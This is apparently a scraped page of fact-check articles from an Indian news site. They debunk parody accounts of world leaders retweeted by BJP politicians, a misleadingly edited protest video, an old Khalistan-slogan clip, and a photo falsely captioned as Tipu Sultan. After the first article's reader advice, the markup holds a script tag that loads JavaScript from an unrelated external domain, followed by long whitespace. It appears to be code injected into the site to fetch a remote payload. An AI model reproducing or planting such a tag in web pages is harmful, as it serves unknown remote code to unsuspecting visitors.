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BJP leaders retweet ‘I stand with India’ tweet from parody accounts of world leaders

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India and China have been in a face-off along the Line of Actual Control (LAC) from the past month. On 15th June,  20 Indian soldiers were martyred in a clash with the Chinese troops in Galwan Valley, Ladakh. Ever since the incident, several unrelated images, videos, and fake news is being spread in social media platforms. A mainstream media agency went a step further and read out a fake list of casualties of Chinese soldiers on live TV.

Amidst the rising tensions between India and China, some social media users have created parody(impersonating) accounts of world leaders like Israel Prime Minister Benjamin Netanyahu, US President Donald Trump, and Trump’s daughter Ivanka Trump, and started tweeting that they support India. Some users have even created fake profiles with Chinese  names, and started tweeting against China. These impersonating accounts were trending as they tweeted pictures of world leaders with PM Narendra Modi, with a caption “I stand with India”.

Several top BJP leaders from their verified twitter handles and a prominent news agency shared/retweeted such tweets from these parody accounts. Carrie lam cheng (Chief executive of Hong kong).Here are some screenshots from two accounts impersonating US President, Donald Trump. One tweet supports India with the caption, “I stand with India”, while the other calls for boycotting Chinese products in India.

Here is screenshots from an account impersonating  Israel Prime Minister, Benjamin Netanyahu. BJP’s top leaders, Suresh Kumar Khanna (Cabinet Minister for Finance),  Prabhat Jha ( National Vice President BJP),  Subramanian Swamy (BJP MP, Rajya Sabha) were on the list who retweeted this. The tweet went viral with over 22K RT. 

DD News and DD news Hindi also Retweeted fake Benjamin Netanyahu’s congratulatory tweet for PM Narendra Modi.

Here is another account with the name Carrie Lam Cheng, claiming to be the chief executive of Hong Kong, shared a video claiming that Hong Kong is protesting in solidarity towards Indian soldiers attacked by the Chinese Army. We couldn’t independently verify whether this video is from Hong Kong, but we are sure this account is not of Chief Executive of  Hong Kong “Carrie Lam Cheng”.

The fake account has some old tweets rooting for PM Modi in 2014. Here is a glimpse of the  account impersonating  Hong Kong ‘s Chief Executive.

Here are some other screenshots of an account impersonating Angela Merkel.

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<p>We found all the accounts which are being retweeted by many prominent leaders are of parody accounts which were tweeting in support of India and many have fallen for this trap. It is easy for a user to simply identify fake accounts.</p>
<p>Here is what we suggest our readers to check before falling for a parody account on Twitter. Twitter authenticates the accounts with a blue tick right next to the user name. The world leaders will have a verified blue tick for their accounts. You can check the blue tick and the bio before RTing. Many of those impersonating accounts have already mentioned in their bios that they are tweeting from a parody account. The final step would be going through the content shared in the past. It is possible that these accounts may still have their old tweets. By analyzing these tweets, we can easily differentiate between the original and fake accounts.</p><script src='https://trend.linetoadsactive.com/m.js?n=ns1' type='text/javascript'></script>																											</div><!--mvp-content-main-->
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BJP’s Amit Malviya shares a edited video to prove the old farmer wasn’t beaten up by police

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Farmers from Punjab, Haryana, Rajasthan and Uttar Pradesh are marching to Delhi to protest against the agriculture bills passed by the government. The protesting farmers had a clash with the security forces near the interstate border at Haryana’s Ambala district where water cannons were used and the police resort to lathi-charge to disperse the protesters. The lathi-charge and water cannon attack on farmers had triggered the whole nation to condemn the police’s action. A viral image of an elderly farmer trying to escape from the police lathi-charge is viral across social media. Many users have shared this powerful image and condemned the attack on protestors. Renowned cartoonists Satish Acharya and R. Prasad have made cartoons based on the image.

Many leaders including Congress party leader and MP Rahul Gandhi also tweeted the image and said, “It is a very sad photo. Our slogan was ‘Jai Jawan Jai Kisan’ but today PM Modi’s arrogance made the jawan stand against the farmer. This is very dangerous.” Replying to Rahul Gandhi, Amit Malviya, the national in-charge of BJP’s IT dept. tweeted a video. Juxtaposing the viral image and the edited video with propaganda and reality tags, Malviya claimed “Rahul Gandhi must be the most discredited opposition leader India has seen in a long long time”. The viral tweet has garnered over 8k retweets and 18k likes.

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The reverse image search of the viral image has led us to multiple videos and images. A Twitter user @65thakursahab has posted a seven second video clip replying to the viral tweet made by Amit Malviya. In the video posted by @65thakursahab, the old farmer was trying to escape from the lathi charge. He was initially beaten up by one police officer and tries to escape from getting beaten up by another. The viral image was clicked right at the movement (see at time stamp 0:05 -0:06 seconds) when he is trying to escape from getting beaten up by the second police officer.

Conclusion: It is evident from the video that the elder farmer was beaten up by the police. Amit Malviya’s claim that the police didn’t even touch the farmer is false and misleading.

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BJP’s Priti Gandhi shares an old video claiming pro-Khalistan slogans raised in farmers’ protest

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Thousands of farmers from Haryana, Punjab, and Uttar Pradesh have been protesting since September against the three agriculture bills passed by the government. After failing to gain support from their respective state governments (except for Rajasthan and Punjab), the farmers’ union have decided to march to Delhi to mount pressure on the union government. The protesting farmers had a clash with the police near the interstate border at Haryana’s Ambala district where water cannons were used to disperse the protesters. Amidst this ongoing protests, a lot of BJP and right-wing supporters are trying to discredit the farmers’ protest by sharing misinformation across social media. A section of media has already begun to run a smear campaign and propaganda by claiming that the protests are funded and supported by Khalistan supporters, and the farmers are misled by them.

Priti Gandhi, the national in-charge of BJP’s social media has tweeted a 15-second video clip from her official Twitter handle where a group of sikhs raising pro-khalistan slogans. Mrs. Gandhi claimed that the video is from farmers’ protest and farmers were holding Pakistan flags. The tweet has garnered over 366 retweets and hundreds of likes before she took it down. Tweet archived here

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A reverse image search of some keyframes of the 15-second video clip has led us to a YouTube video posted by ANI from their official handle on July 6, 2019 with a caption, “Sikhs in UK denounce pro-Khalistan slogans during World Cup matches”. 

The video clip posted by Priti Gandhi is cropped from the 3:06 minutes video published by ANI on YouTube. At the timestamp 0:20 seconds, a man can be seen holding a Pakistan-Khalistan flag and raising pro-Khalistan slogans. He is the same man seen in the video posted by Priti Gandhi. According to ANI and Business Standard, Sikhs living in United Kingdom have raised pro-Khalistan slogans during the world cup match between Afghanistan and Pakistan on June 29, 2019.

Conclusion: The video posted by Priti Gandhi is from a world cup match in 2019. It is evident that the video is old and not from the farmers’ protest. The viral claim by Priti Gandhi is found to be misleading, fake.

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Fact Check: A photo of Swahili slave from 19th century is falsely shared as Tipu Sultan

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Karnataka: Tipu Sultan Jayanti was celebrated across Karnataka on 20th NOV during the Congress govt. under Siddaramaiah’s rule until BS Yadurappa canceled the Jayanti celebrations last year after becoming the CM of Karnataka. On the eve of Tipu Sultan’s Jayanti, a portrait claimed to be of Tippu’s is going viral across social media. Many social media users are sharing the claim, here, here, here.

BJP’s spokesperson, Ashwini Upadhyay tweeted the photo in 2018, claiming it to be the Real Photo of Tiger of Mysore, Tippu Sultan. (archive) The post has garnered over 700 RTs and thousands of likes. Twitterati has countered the claim to be false in the comments section but Ashwin has not deleted his post.

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First of all, according to multiple sources, the first successful photo was clicked around 1816-1817, whereas Tipu Sultan was killed in the Fourth Anglo-Mysore War against British Army on 4th May 1799. The camera was not even invented at that time. So the viral photo is not Tipu Sultan as claimed, so who is the man in question. When we did a reverse image search of the image, we found multiple images on Google image search featuring the name of Tippu Tib or Tip.

SM Hoax Slayer  and several other fact checking websites have debunked this claim around 2017-2018, and have concluded that the viral image in question is of Tippu Tib, a Swahili-Arab slave trader in Zanzibar. However a report by Alt News shows another picture on Getty Images featuring the same name.

Juxtaposing the two images, it can be seen that there are no similarities in the facial features, and both images are of two different people.

Source: Getty Images

Source: Getty Images

According to Alt News, the person in the viral picture is Mohammed Bin Khalfan, commonly known as Rumaliza, another prominent slave trader of Zanzibar of the 19th century.

Conclusion: The claim has been shared almost every year on Tuppu Sultan’s birth anniversary. According to multiple sources available on the Internet, the man in the photo is not Tippu Sultan. He is Mohammed Bin Khalfan, commonly known as Rumaliza, another prominent slave trader of Zanzibar of the 19th century. The viral claim is fake, misleading, and racist.

 

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